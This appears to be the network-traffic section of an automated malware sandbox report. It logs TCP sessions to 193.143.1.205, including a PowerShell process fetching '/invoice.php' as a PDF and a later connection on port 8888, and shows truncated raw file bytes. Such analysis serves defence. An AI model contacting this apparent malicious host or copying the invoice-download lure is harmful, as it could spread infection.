Jan 11, 2025 07:37:31.659009933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.659054995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.659060955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.659095049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.659131050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.659141064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.659163952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.659200907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.659210920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.659234047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.659269094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.659276009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.659302950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.659348965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.681207895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.683217049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.683271885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.683306932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.683332920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.683355093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.683389902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.683399916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.683424950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.683459997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.683466911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.687927961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.687979937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.687982082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.688031912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.688065052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.688075066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.688100100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.688136101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.688146114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.688169956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.688203096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.688213110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.716038942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716092110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716106892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.716125011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716157913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716170073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.716197968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716239929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.716248989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716299057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716332912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716341972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.716366053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716399908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716406107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.716449022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716484070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716490984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.716516972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716551065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716568947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.716584921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.716629028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.722244024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.745724916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.745776892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.745831013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.745851040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.745882988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.745933056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.745935917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.745985985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746021986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746032953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746056080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746145010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746154070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746174097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746206999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746213913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746258020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746292114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746305943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746326923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746360064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746370077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746397972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746439934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746447086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746484041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746516943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746529102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746552944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746588945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746603966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746656895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746686935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746707916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746723890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746767044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746774912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746809959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746855021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746860981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746896029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746937990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.746947050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.746998072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747031927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747040033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747066021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747101068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747117043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747148991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747191906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747200012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747235060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747270107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747277975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747304916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747349977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747359037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747396946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747441053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747448921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747483015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747517109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747524977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747569084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747606993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747616053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747641087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747675896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747684002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747726917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747771025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747778893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747829914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747864008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747872114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747898102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747932911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.747941971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.747967958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748003006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748013020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748035908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748070002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748079062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748104095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748137951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748155117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748188019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748223066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748233080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748255968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748291016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748300076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748323917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748358011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748368025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748390913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748425007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748436928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748459101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748493910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748502970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748528004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748562098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748569965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748598099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748631954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748641014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748665094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748698950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748708010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748733044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748766899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748781919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.748801947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.748843908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.750513077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.750550985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.750603914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.750638962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.750643969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.750674009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.750699043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.750710011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.750744104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.750754118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.774842024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.774899006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.774931908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.774934053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.774967909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.774985075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.775002956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.775034904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.775047064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.775069952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.775124073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.779577971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.779629946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.779665947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.779678106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.779699087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.779733896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.779747963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.779767036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.779800892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.779810905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.807650089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807684898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807703972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807715893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807729006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807740927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807744980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.807748079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807769060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.807785988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807806969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807806969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.807821035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807831049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807843924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807856083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807858944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.807868004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.807888985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.832318068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.837316036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837352037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837380886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.837408066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837443113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837455988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.837480068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837523937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.837567091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837629080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837672949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.837680101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837717056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837752104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837763071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.837785959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837836027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.837840080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837872028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837905884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837913990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.837940931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837975979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.837985992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.838010073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.838044882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.838057041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.838078976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.838114977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:31.838124990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.853063107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:31.940895081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:32.159102917 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:32.612586975 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:32.617721081 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:32.617866039 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:32.618037939 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:32.622889042 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:33.431616068 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:37:33.485044003 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:37:35.269356012 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:37:39.717258930 CET	60099	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:37:39.717258930 CET	192.168.2.8	1.1.1.1	0xe701	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:37:39.725383997 CET	1.1.1.1	192.168.2.8	0xe701	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7492	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:37:30.267781019 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:37:31.079174995 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:37:30 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:37:31.079197884 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:37:31.079230070 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
